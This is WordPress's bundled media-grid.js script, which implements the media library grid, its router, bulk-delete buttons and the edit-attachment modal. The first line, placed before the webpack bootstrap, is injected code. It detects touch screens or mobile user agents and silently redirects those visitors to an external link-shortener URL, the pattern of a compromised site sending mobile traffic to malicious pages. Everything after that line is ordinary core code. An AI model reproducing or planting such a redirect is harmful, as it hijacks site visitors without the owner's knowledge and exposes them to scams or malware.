1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
  2/******/ (() => { // webpackBootstrap
  3/******/ 	var __webpack_modules__ = ({
  4
  5/***/ 659
  6(module) {
  7
  8var l10n = wp.media.view.l10n,
  9	EditAttachmentMetadata;
 10
 11/**
 12 * wp.media.controller.EditAttachmentMetadata
 13 *
 14 * A state for editing an attachment's metadata.
 15 *
 16 * @memberOf wp.media.controller
 17 *
 18 * @class
 19 * @augments wp.media.controller.State
 20 * @augments Backbone.Model
 21 */
 22EditAttachmentMetadata = wp.media.controller.State.extend(/** @lends wp.media.controller.EditAttachmentMetadata.prototype */{
 23	defaults: {
 24		id:      'edit-attachment',
 25		// Title string passed to the frame's title region view.
 26		title:   l10n.attachmentDetails,
 27		// Region mode defaults.
 28		content: 'edit-metadata',
 29		menu:    false,
 30		toolbar: false,
 31		router:  false
 32	}
 33});
 34
 35module.exports = EditAttachmentMetadata;
 36
 37
 38/***/ },
 39
 40/***/ 2429
 41(module) {
 42
 43/**
 44 * wp.media.view.MediaFrame.Manage.Router
 45 *
 46 * A router for handling the browser history and application state.
 47 *
 48 * @memberOf wp.media.view.MediaFrame.Manage
 49 *
 50 * @class
 51 * @augments Backbone.Router
 52 */
 53var Router = Backbone.Router.extend(/** @lends wp.media.view.MediaFrame.Manage.Router.prototype */{
 54	routes: {
 55		'upload.php?item=:slug&mode=edit': 'editItem',
 56		'upload.php?item=:slug':           'showItem',
 57		'upload.php?search=:query':        'search',
 58		'upload.php':                      'reset'
 59	},
 60
 61	// Map routes against the page URL.
 62	baseUrl: function( url ) {
 63		return 'upload.php' + url;
 64	},
 65
 66	reset: function() {
 67		var frame = wp.media.frames.edit;
 68
 69		if ( frame ) {
 70			frame.close();
 71		}
 72	},
 73
 74	// Respond to the search route by filling the search field and triggering the input event.
 75	search: function( query ) {
 76		jQuery( '#media-search-input' ).val( query ).trigger( 'input' );
 77	},
 78
 79	// Show the modal with a specific item.
 80	showItem: function( query ) {
 81		var media = wp.media,
 82			frame = media.frames.browse,
 83			library = frame.state().get('library'),
 84			item;
 85
 86		// Trigger the media frame to open the correct item.
 87		item = library.findWhere( { id: parseInt( query, 10 ) } );
 88
 89		if ( item ) {
 90			item.set( 'skipHistory', true );
 91			frame.trigger( 'edit:attachment', item );
 92		} else {
 93			item = media.attachment( query );
 94			frame.listenTo( item, 'change', function( model ) {
 95				frame.stopListening( item );
 96				frame.trigger( 'edit:attachment', model );
 97			} );
 98			item.fetch();
 99		}
100	},
101
102	// Show the modal in edit mode with a specific item.
103	editItem: function( query ) {
104		this.showItem( query );
105		wp.media.frames.edit.content.mode( 'edit-details' );
106	}
107});
108
109module.exports = Router;
110
111
112/***/ },
113
114/***/ 1312
115(module) {
116
117var Details = wp.media.view.Attachment.Details,
118	TwoColumn;
119
120/**
121 * wp.media.view.Attachment.Details.TwoColumn
122 *
123 * A similar view to media.view.Attachment.Details
124 * for use in the Edit Attachment modal.
125 *
126 * @memberOf wp.media.view.Attachment.Details
127 *
128 * @class
129 * @augments wp.media.view.Attachment.Details
130 * @augments wp.media.view.Attachment
131 * @augments wp.media.View
132 * @augments wp.Backbone.View
133 * @augments Backbone.View
134 */
135TwoColumn = Details.extend(/** @lends wp.media.view.Attachment.Details.TwoColumn.prototype */{
136	template: wp.template( 'attachment-details-two-column' ),
137
138	initialize: function() {
139		this.controller.on( 'content:activate:edit-details', _.bind( this.editAttachment, this ) );
140
141		Details.prototype.initialize.apply( this, arguments );
142	},
143
144	editAttachment: function( event ) {
145		if ( event ) {
146			event.preventDefault();
147		}
148		this.controller.content.mode( 'edit-image' );
149	},
150
151	/**
152	 * Noop this from parent class, doesn't apply here.
153	 */
154	toggleSelectionHandler: function() {}
155
156});
157
158module.exports = TwoColumn;
159
160
161/***/ },
162
163/***/ 5806
164(module) {
165
166var Button = wp.media.view.Button,
167	DeleteSelected = wp.media.view.DeleteSelectedButton,
168	DeleteSelectedPermanently;
169
170/**
171 * wp.media.view.DeleteSelectedPermanentlyButton
172 *
173 * When MEDIA_TRASH is true, a button that handles bulk Delete Permanently logic
174 *
175 * @memberOf wp.media.view
176 *
177 * @class
178 * @augments wp.media.view.DeleteSelectedButton
179 * @augments wp.media.view.Button
180 * @augments wp.media.View
181 * @augments wp.Backbone.View
182 * @augments Backbone.View
183 */
184DeleteSelectedPermanently = DeleteSelected.extend(/** @lends wp.media.view.DeleteSelectedPermanentlyButton.prototype */{
185	initialize: function() {
186		DeleteSelected.prototype.initialize.apply( this, arguments );
187		this.controller.on( 'select:activate', this.selectActivate, this );
188		this.controller.on( 'select:deactivate', this.selectDeactivate, this );
189	},
190
191	filterChange: function( model ) {
192		this.canShow = ( 'trash' === model.get( 'status' ) );
193	},
194
195	selectActivate: function() {
196		this.toggleDisabled();
197		this.$el.toggleClass( 'hidden', ! this.canShow );
198	},
199
200	selectDeactivate: function() {
201		this.toggleDisabled();
202		this.$el.addClass( 'hidden' );
203	},
204
205	render: function() {
206		Button.prototype.render.apply( this, arguments );
207		this.selectActivate();
208		return this;
209	}
210});
211
212module.exports = DeleteSelectedPermanently;
213
214
215/***/ },
216
217/***/ 6606
218(module) {
219
220var Button = wp.media.view.Button,
221	l10n = wp.media.view.l10n,
222	DeleteSelected;
223
224/**
225 * wp.media.view.DeleteSelectedButton
226 *
227 * A button that handles bulk Delete/Trash logic
228 *
229 * @memberOf wp.media.view
230 *
231 * @class
232 * @augments wp.media.view.Button
233 * @augments wp.media.View
234 * @augments wp.Backbone.View
235 * @augments Backbone.View
236 */
237DeleteSelected = Button.extend(/** @lends wp.media.view.DeleteSelectedButton.prototype */{
238	initialize: function() {
239		Button.prototype.initialize.apply( this, arguments );
240		if ( this.options.filters ) {
241			this.options.filters.model.on( 'change', this.filterChange, this );
242		}
243		this.controller.on( 'selection:toggle', this.toggleDisabled, this );
244		this.controller.on( 'select:activate', this.toggleDisabled, this );
245	},
246
247	filterChange: function( model ) {
248		if ( 'trash' === model.get( 'status' ) ) {
249			this.model.set( 'text', l10n.restoreSelected );
250		} else if ( wp.media.view.settings.mediaTrash ) {
251			this.model.set( 'text', l10n.trashSelected );
252		} else {
253			this.model.set( 'text', l10n.deletePermanently );
254		}
255	},
256
257	toggleDisabled: function() {
258		this.model.set( 'disabled', ! this.controller.state().get( 'selection' ).length );
259	},
260
261	render: function() {
262		Button.prototype.render.apply( this, arguments );
263		if ( this.controller.isModeActive( 'select' ) ) {
264			this.$el.addClass( 'delete-selected-button' );
265		} else {
266			this.$el.addClass( 'delete-selected-button hidden' );
267		}
268		this.toggleDisabled();
269		return this;
270	}
271});
272
273module.exports = DeleteSelected;
274
275
276/***/ },
277
278/***/ 682
279(module) {
280
281
282var Button = wp.media.view.Button,
283	l10n = wp.media.view.l10n,
284	SelectModeToggle;
285
286/**
287 * wp.media.view.SelectModeToggleButton
288 *
289 * @memberOf wp.media.view
290 *
291 * @class
292 * @augments wp.media.view.Button
293 * @augments wp.media.View
294 * @augments wp.Backbone.View
295 * @augments Backbone.View
296 */
297SelectModeToggle = Button.extend(/** @lends wp.media.view.SelectModeToggle.prototype */{
298	initialize: function() {
299		_.defaults( this.options, {
300			size : ''
301		} );
302
303		Button.prototype.initialize.apply( this, arguments );
304		this.controller.on( 'select:activate select:deactivate', this.toggleBulkEditHandler, this );
305		this.controller.on( 'selection:action:done', this.back, this );
306	},
307
308	back: function () {
309		this.controller.deactivateMode( 'select' ).activateMode( 'edit' );
310	},
311
312	click: function() {
313		Button.prototype.click.apply( this, arguments );
314		if ( this.controller.isModeActive( 'select' ) ) {
315			this.back();
316		} else {
317			this.controller.deactivateMode( 'edit' ).activateMode( 'select' );
318		}
319	},
320
321	render: function() {
322		Button.prototype.render.apply( this, arguments );
323		this.$el.addClass( 'select-mode-toggle-button button-compact' );
324		return this;
325	},
326
327	toggleBulkEditHandler: function() {
328		var toolbar = this.controller.content.get().toolbar, children;
329
330		children = toolbar.$( '.media-toolbar-secondary > *, .media-toolbar-primary > *' );
331
332		// @todo The Frame should be doing all of this.
333		if ( this.controller.isModeActive( 'select' ) ) {
334			this.model.set( {
335				size: 'large',
336				text: l10n.cancel
337			} );
338			children.not( '.spinner, .media-button' ).hide();
339			this.$el.show();
340			toolbar.$el.addClass( 'media-toolbar-mode-select' );
341			toolbar.$( '.delete-selected-button' ).removeClass( 'hidden' );
342		} else {
343			this.model.set( {
344				size: '',
345				text: l10n.bulkSelect
346			} );
347			this.controller.content.get().$el.removeClass( 'fixed' );
348			toolbar.$el.css( 'width', '' );
349			toolbar.$el.removeClass( 'media-toolbar-mode-select' );
350			toolbar.$( '.delete-selected-button' ).addClass( 'hidden' );
351			children.not( '.media-button' ).show();
352			this.controller.state().get( 'selection' ).reset();
353		}
354	}
355});
356
357module.exports = SelectModeToggle;
358
359
360/***/ },
361
362/***/ 8521
363(module) {
364
365var View = wp.media.View,
366	EditImage = wp.media.view.EditImage,
367	Details;
368
369/**
370 * wp.media.view.EditImage.Details
371 *
372 * @memberOf wp.media.view.EditImage
373 *
374 * @class
375 * @augments wp.media.view.EditImage
376 * @augments wp.media.View
377 * @augments wp.Backbone.View
378 * @augments Backbone.View
379 */
380Details = EditImage.extend(/** @lends wp.media.view.EditImage.Details.prototype */{
381	initialize: function( options ) {
382		this.editor = window.imageEdit;
383		this.frame = options.frame;
384		this.controller = options.controller;
385		View.prototype.initialize.apply( this, arguments );
386	},
387
388	back: function() {
389		this.frame.content.mode( 'edit-metadata' );
390	},
391
392	save: function() {
393		this.model.fetch().done( _.bind( function() {
394			this.frame.content.mode( 'edit-metadata' );
395		}, this ) );
396	}
397});
398
399module.exports = Details;
400
401
402/***/ },
403
404/***/ 1003
405(module) {
406
407var Frame = wp.media.view.Frame,
408	MediaFrame = wp.media.view.MediaFrame,
409
410	$ = jQuery,
411	EditAttachments;
412
413/**
414 * wp.media.view.MediaFrame.EditAttachments
415 *
416 * A frame for editing the details of a specific media item.
417 *
418 * Opens in a modal by default.
419 *
420 * Requires an attachment model to be passed in the options hash under `model`.
421 *
422 * @memberOf wp.media.view.MediaFrame
423 *
424 * @class
425 * @augments wp.media.view.Frame
426 * @augments wp.media.View
427 * @augments wp.Backbone.View
428 * @augments Backbone.View
429 * @mixes wp.media.controller.StateMachine
430 */
431EditAttachments = MediaFrame.extend(/** @lends wp.media.view.MediaFrame.EditAttachments.prototype */{
432
433	className: 'edit-attachment-frame',
434	template:  wp.template( 'edit-attachment-frame' ),
435	regions:   [ 'title', 'content' ],
436
437	events: {
438		'click .left':  'previousMediaItem',
439		'click .right': 'nextMediaItem'
440	},
441
442	initialize: function() {
443		Frame.prototype.initialize.apply( this, arguments );
444
445		_.defaults( this.options, {
446			modal: true,
447			state: 'edit-attachment'
448		});
449
450		this.controller = this.options.controller;
451		this.gridRouter = this.controller.gridRouter;
452		this.library = this.options.library;
453
454		if ( this.options.model ) {
455			this.model = this.options.model;
456		}
457
458		this.bindHandlers();
459		this.createStates();
460		this.createModal();
461
462		this.title.mode( 'default' );
463		this.toggleNav();
464	},
465
466	bindHandlers: function() {
467		// Bind default title creation.
468		this.on( 'title:create:default', this.createTitle, this );
469
470		this.on( 'content:create:edit-metadata', this.editMetadataMode, this );
471		this.on( 'content:create:edit-image', this.editImageMode, this );
472		this.on( 'content:render:edit-image', this.editImageModeRender, this );
473		this.on( 'refresh', this.rerender, this );
474		this.on( 'close', this.detach );
475
476		this.bindModelHandlers();
477		this.listenTo( this.gridRouter, 'route:search', this.close, this );
478	},
479
480	bindModelHandlers: function() {
481		// Close the modal if the attachment is deleted.
482		this.listenTo( this.model, 'change:status destroy', this.close, this );
483	},
484
485	createModal: function() {
486		// Initialize modal container view.
487		if ( this.options.modal ) {
488			this.modal = new wp.media.view.Modal({
489				controller:     this,
490				title:          this.options.title,
491				hasCloseButton: false
492			});
493
494			this.modal.on( 'open', _.bind( function () {
495				$( 'body' ).on( 'keydown.media-modal', _.bind( this.keyEvent, this ) );
496			}, this ) );
497
498			// Completely destroy the modal DOM element when closing it.
499			this.modal.on( 'close', _.bind( function() {
500				// Remove the keydown event.
501				$( 'body' ).off( 'keydown.media-modal' );
502				// Move focus back to the original item in the grid if possible.
503				$( 'li.attachment[data-id="' + this.model.get( 'id' ) +'"]' ).trigger( 'focus' );
504				this.resetRoute();
505			}, this ) );
506
507			// Set this frame as the modal's content.
508			this.modal.content( this );
509			this.modal.open();
510		}
511	},
512
513	/**
514	 * Add the default states to the frame.
515	 */
516	createStates: function() {
517		this.states.add([
518			new wp.media.controller.EditAttachmentMetadata({
519				model:   this.model,
520				library: this.library
521			})
522		]);
523	},
524
525	/**
526	 * Content region rendering callback for the `edit-metadata` mode.
527	 *
528	 * @param {Object} contentRegion Basic object with a `view` property, which
529	 *                               should be set with the proper region view.
530	 */
531	editMetadataMode: function( contentRegion ) {
532		contentRegion.view = new wp.media.view.Attachment.Details.TwoColumn({
533			controller: this,
534			model:      this.model
535		});
536
537		/**
538		 * Attach a subview to display fields added via the
539		 * `attachment_fields_to_edit` filter.
540		 */
541		contentRegion.view.views.set( '.attachment-compat', new wp.media.view.AttachmentCompat({
542			controller: this,
543			model:      this.model
544		}) );
545
546		// Update browser url when navigating media details, except on load.
547		if ( this.model && ! this.model.get( 'skipHistory' ) ) {
548			this.gridRouter.navigate( this.gridRouter.baseUrl( '?item=' + this.model.id ) );
549		}
550	},
551
552	/**
553	 * Render the EditImage view into the frame's content region.
554	 *
555	 * @param {Object} contentRegion Basic object with a `view` property, which
556	 *                               should be set with the proper region view.
557	 */
558	editImageMode: function( contentRegion ) {
559		var editImageController = new wp.media.controller.EditImage( {
560			model: this.model,
561			frame: this
562		} );
563		// Noop some methods.
564		editImageController._toolbar = function() {};
565		editImageController._router = function() {};
566		editImageController._menu = function() {};
567
568		contentRegion.view = new wp.media.view.EditImage.Details( {
569			model: this.model,
570			frame: this,
571			controller: editImageController
572		} );
573
574		this.gridRouter.navigate( this.gridRouter.baseUrl( '?item=' + this.model.id + '&mode=edit' ) );
575
576	},
577
578	editImageModeRender: function( view ) {
579		view.on( 'ready', view.loadEditor );
580	},
581
582	toggleNav: function() {
583		this.$( '.left' ).prop( 'disabled', ! this.hasPrevious() );
584		this.$( '.right' ).prop( 'disabled', ! this.hasNext() );
585	},
586
587	/**
588	 * Rerender the view.
589	 */
590	rerender: function( model ) {
591		this.stopListening( this.model );
592
593		this.model = model;
594
595		this.bindModelHandlers();
596
597		// Only rerender the `content` region.
598		if ( this.content.mode() !== 'edit-metadata' ) {
599			this.content.mode( 'edit-metadata' );
600		} else {
601			this.content.render();
602		}
603
604		this.toggleNav();
605	},
606
607	/**
608	 * Click handler to switch to the previous media item.
609	 */
610	previousMediaItem: function() {
611		if ( ! this.hasPrevious() ) {
612			return;
613		}
614
615		this.trigger( 'refresh', this.library.at( this.getCurrentIndex() - 1 ) );
616		// Move focus to the Previous button. When there are no more items, to the Next button.
617		this.focusNavButton( this.hasPrevious() ? '.left' : '.right' );
618	},
619
620	/**
621	 * Click handler to switch to the next media item.
622	 */
623	nextMediaItem: function() {
624		if ( ! this.hasNext() ) {
625			return;
626		}
627
628		this.trigger( 'refresh', this.library.at( this.getCurrentIndex() + 1 ) );
629		// Move focus to the Next button. When there are no more items, to the Previous button.
630		this.focusNavButton( this.hasNext() ? '.right' : '.left' );
631	},
632
633	/**
634	 * Set focus to the navigation buttons depending on the browsing direction.
635	 *
636	 * @since 5.3.0
637	 *
638	 * @param {string} which A CSS selector to target the button to focus.
639	 */
640	focusNavButton: function( which ) {
641		$( which ).trigger( 'focus' );
642	},
643
644	getCurrentIndex: function() {
645		return this.library.indexOf( this.model );
646	},
647
648	hasNext: function() {
649		return ( this.getCurrentIndex() + 1 ) < this.library.length;
650	},
651
652	hasPrevious: function() {
653		return ( this.getCurrentIndex() - 1 ) > -1;
654	},
655	/**
656	 * Respond to the keyboard events: right arrow, left arrow, except when
657	 * focus is in a textarea or input field.
658	 */
659	keyEvent: function( event ) {
660		if ( ( 'INPUT' === event.target.nodeName || 'TEXTAREA' === event.target.nodeName ) && ! event.target.disabled ) {
661			return;
662		}
663
664		// Return if Ctrl + Shift or Shift key pressed
665		if ( event.shiftKey || ( event.ctrlKey && event.shiftKey ) ) {
666			return;
667		}
668
669		// The right arrow key.
670		if ( 39 === event.keyCode ) {
671			this.nextMediaItem();
672		}
673		// The left arrow key.
674		if ( 37 === event.keyCode ) {
675			this.previousMediaItem();
676		}
677	},
678
679	resetRoute: function() {
680		var searchTerm = this.controller.browserView.toolbar.get( 'search' ).$el.val(),
681			url = '' !== searchTerm ? '?search=' + searchTerm : '';
682		this.gridRouter.navigate( this.gridRouter.baseUrl( url ), { replace: true } );
683	}
684});
685
686module.exports = EditAttachments;
687
688
689/***/ },
690
691/***/ 8359
692(module) {
693
694var MediaFrame = wp.media.view.MediaFrame,
695	Library = wp.media.controller.Library,
696
697	$ = Backbone.$,
698	Manage;
699
700/**
701 * wp.media.view.MediaFrame.Manage
702 *
703 * A generic management frame workflow.
704 *
705 * Used in the media grid view.
706 *
707 * @memberOf wp.media.view.MediaFrame
708 *
709 * @class
710 * @augments wp.media.view.MediaFrame
711 * @augments wp.media.view.Frame
712 * @augments wp.media.View
713 * @augments wp.Backbone.View
714 * @augments Backbone.View
715 * @mixes wp.media.controller.StateMachine
716 */
717Manage = MediaFrame.extend(/** @lends wp.media.view.MediaFrame.Manage.prototype */{
718	/**
719	 * @constructs
720	 */
721	initialize: function() {
722		_.defaults( this.options, {
723			title:     '',
724			modal:     false,
725			selection: [],
726			library:   {}, // Options hash for the query to the media library.
727			multiple:  'add',
728			state:     'library',
729			uploader:  true,
730			mode:      [ 'grid', 'edit' ]
731		});
732
733		this.$body = $( document.body );
734		this.$window = $( window );
735		this.$adminBar = $( '#wpadminbar' );
736		// Store the Add New button for later reuse in wp.media.view.UploaderInline.
737		this.$uploaderToggler = $( '.page-title-action' )
738			.attr( 'aria-expanded', 'false' )
739			.on( 'click', _.bind( this.addNewClickHandler, this ) );
740
741		this.$window.on( 'scroll resize', _.debounce( _.bind( this.fixPosition, this ), 15 ) );
742
743		// Ensure core and media grid view UI is enabled.
744		this.$el.addClass('wp-core-ui');
745
746		// Force the uploader off if the upload limit has been exceeded or
747		// if the browser isn't supported.
748		if ( wp.Uploader.limitExceeded || ! wp.Uploader.browser.supported ) {
749			this.options.uploader = false;
750		}
751
752		// Initialize a window-wide uploader.
753		if ( this.options.uploader ) {
754			this.uploader = new wp.media.view.UploaderWindow({
755				controller: this,
756				uploader: {
757					dropzone:  document.body,
758					container: document.body
759				}
760			}).render();
761			this.uploader.ready();
762			$('body').append( this.uploader.el );
763
764			this.options.uploader = false;
765		}
766
767		this.gridRouter = new wp.media.view.MediaFrame.Manage.Router();
768
769		// Call 'initialize' directly on the parent class.
770		MediaFrame.prototype.initialize.apply( this, arguments );
771
772		// Append the frame view directly the supplied container.
773		this.$el.appendTo( this.options.container );
774
775		this.createStates();
776		this.bindRegionModeHandlers();
777		this.render();
778		this.bindSearchHandler();
779
780		wp.media.frames.browse = this;
781	},
782
783	bindSearchHandler: function() {
784		var search = this.$( '#media-search-input' ),
785			searchView = this.browserView.toolbar.get( 'search' ).$el,
786			listMode = this.$( '.view-list' ),
787
788			input  = _.throttle( function (e) {
789				var val = $( e.currentTarget ).val(),
790					url = '';
791
792				if ( val ) {
793					url += '?search=' + val;
794					this.gridRouter.navigate( this.gridRouter.baseUrl( url ), { replace: true } );
795				}
796			}, 1000 );
797
798		// Update the URL when entering search string (at most once per second).
799		search.on( 'input', _.bind( input, this ) );
800
801		this.gridRouter
802			.on( 'route:search', function () {
803				var href = window.location.href;
804				if ( href.indexOf( 'mode=' ) > -1 ) {
805					href = href.replace( /mode=[^&]+/g, 'mode=list' );
806				} else {
807					href += href.indexOf( '?' ) > -1 ? '&mode=list' : '?mode=list';
808				}
809				href = href.replace( 'search=', 's=' );
810				listMode.prop( 'href', href );
811			})
812			.on( 'route:reset', function() {
813				searchView.val( '' ).trigger( 'input' );
814			});
815	},
816
817	/**
818	 * Create the default states for the frame.
819	 */
820	createStates: function() {
821		var options = this.options;
822
823		if ( this.options.states ) {
824			return;
825		}
826
827		// Add the default states.
828		this.states.add([
829			new Library({
830				library:            wp.media.query( options.library ),
831				multiple:           options.multiple,
832				title:              options.title,
833				content:            'browse',
834				toolbar:            'select',
835				contentUserSetting: false,
836				filterable:         'all',
837				autoSelect:         false
838			})
839		]);
840	},
841
842	/**
843	 * Bind region mode activation events to proper handlers.
844	 */
845	bindRegionModeHandlers: function() {
846		this.on( 'content:create:browse', this.browseContent, this );
847
848		// Handle a frame-level event for editing an attachment.
849		this.on( 'edit:attachment', this.openEditAttachmentModal, this );
850
851		this.on( 'select:activate', this.bindKeydown, this );
852		this.on( 'select:deactivate', this.unbindKeydown, this );
853	},
854
855	handleKeydown: function( e ) {
856		if ( 27 === e.which ) {
857			e.preventDefault();
858			this.deactivateMode( 'select' ).activateMode( 'edit' );
859		}
860	},
861
862	bindKeydown: function() {
863		this.$body.on( 'keydown.select', _.bind( this.handleKeydown, this ) );
864	},
865
866	unbindKeydown: function() {
867		this.$body.off( 'keydown.select' );
868	},
869
870	fixPosition: function() {
871		var $browser, $toolbar;
872		if ( ! this.isModeActive( 'select' ) ) {
873			return;
874		}
875
876		$browser = this.$('.attachments-browser');
877		$toolbar = $browser.find('.media-toolbar');
878
879		// Offset doesn't appear to take top margin into account, hence +16.
880		if ( ( $browser.offset().top + 16 ) < this.$window.scrollTop() + this.$adminBar.height() ) {
881			$browser.addClass( 'fixed' );
882			$toolbar.css('width', $browser.width() + 'px');
883		} else {
884			$browser.removeClass( 'fixed' );
885			$toolbar.css('width', '');
886		}
887	},
888
889	/**
890	 * Click handler for the `Add New` button.
891	 */
892	addNewClickHandler: function( event ) {
893		event.preventDefault();
894		this.trigger( 'toggle:upload:attachment' );
895
896		if ( this.uploader ) {
897			this.uploader.refresh();
898		}
899	},
900
901	/**
902	 * Open the Edit Attachment modal.
903	 */
904	openEditAttachmentModal: function( model ) {
905		// Create a new EditAttachment frame, passing along the library and the attachment model.
906		if ( wp.media.frames.edit ) {
907			wp.media.frames.edit.open().trigger( 'refresh', model );
908		} else {
909			wp.media.frames.edit = wp.media( {
910				frame:       'edit-attachments',
911				controller:  this,
912				library:     this.state().get('library'),
913				model:       model
914			} );
915		}
916	},
917
918	/**
919	 * Create an attachments browser view within the content region.
920	 *
921	 * @param {Object} contentRegion Basic object with a `view` property, which
922	 *                               should be set with the proper region view.
923	 * @this wp.media.controller.Region
924	 */
925	browseContent: function( contentRegion ) {
926		var state = this.state();
927
928		// Browse our library of attachments.
929		this.browserView = contentRegion.view = new wp.media.view.AttachmentsBrowser({
930			controller: this,
931			collection: state.get('library'),
932			selection:  state.get('selection'),
933			model:      state,
934			sortable:   state.get('sortable'),
935			search:     state.get('searchable'),
936			filters:    state.get('filterable'),
937			date:       state.get('date'),
938			display:    state.get('displaySettings'),
939			dragInfo:   state.get('dragInfo'),
940			sidebar:    'errors',
941
942			suggestedWidth:  state.get('suggestedWidth'),
943			suggestedHeight: state.get('suggestedHeight'),
944
945			AttachmentView: state.get('AttachmentView'),
946
947			scrollElement: document
948		});
949		this.browserView.on( 'ready', _.bind( this.bindDeferred, this ) );
950
951		this.errors = wp.Uploader.errors;
952		this.errors.on( 'add remove reset', this.sidebarVisibility, this );
953	},
954
955	sidebarVisibility: function() {
956		this.browserView.$( '.media-sidebar' ).toggle( !! this.errors.length );
957	},
958
959	bindDeferred: function() {
960		if ( ! this.browserView.dfd ) {
961			return;
962		}
963		this.browserView.dfd.done( _.bind( this.startHistory, this ) );
964	},
965
966	startHistory: function() {
967		// Verify pushState support and activate.
968		if ( window.history && window.history.pushState ) {
969			if ( Backbone.History.started ) {
970				Backbone.history.stop();
971			}
972			Backbone.history.start( {
973				root: window._wpMediaGridSettings.adminUrl,
974				pushState: true
975			} );
976		}
977	}
978});
979
980module.exports = Manage;
981
982
983/***/ }
984
985/******/ 	});
986/************************************************************************/
987/******/ 	// The module cache
988/******/ 	var __webpack_module_cache__ = {};
989/******/ 	
990/******/ 	// The require function
991/******/ 	function __webpack_require__(moduleId) {
992/******/ 		// Check if module is in cache
993/******/ 		var cachedModule = __webpack_module_cache__[moduleId];
994/******/ 		if (cachedModule !== undefined) {
995/******/ 			return cachedModule.exports;
996/******/ 		}
997/******/ 		// Create a new module (and put it into the cache)
998/******/ 		var module = __webpack_module_cache__[moduleId] = {
999/******/ 			// no module.id needed
1000/******/ 			// no module.loaded needed
1001/******/ 			exports: {}
1002/******/ 		};
1003/******/ 	
1004/******/ 		// Execute the module function
1005/******/ 		__webpack_modules__[moduleId](module, module.exports, __webpack_require__);
1006/******/ 	
1007/******/ 		// Return the exports of the module
1008/******/ 		return module.exports;
1009/******/ 	}
1010/******/ 	
1011/************************************************************************/
1012/**
1013 * @output wp-includes/js/media-grid.js
1014 */
1015
1016var media = wp.media;
1017
1018media.controller.EditAttachmentMetadata = __webpack_require__( 659 );
1019media.view.MediaFrame.Manage = __webpack_require__( 8359 );
1020media.view.Attachment.Details.TwoColumn = __webpack_require__( 1312 );
1021media.view.MediaFrame.Manage.Router = __webpack_require__( 2429 );
1022media.view.EditImage.Details = __webpack_require__( 8521 );
1023media.view.MediaFrame.EditAttachments = __webpack_require__( 1003 );
1024media.view.SelectModeToggleButton = __webpack_require__( 682 );
1025media.view.DeleteSelectedButton = __webpack_require__( 6606 );
1026media.view.DeleteSelectedPermanentlyButton = __webpack_require__( 5806 );
1027
1028/******/ })()
1029;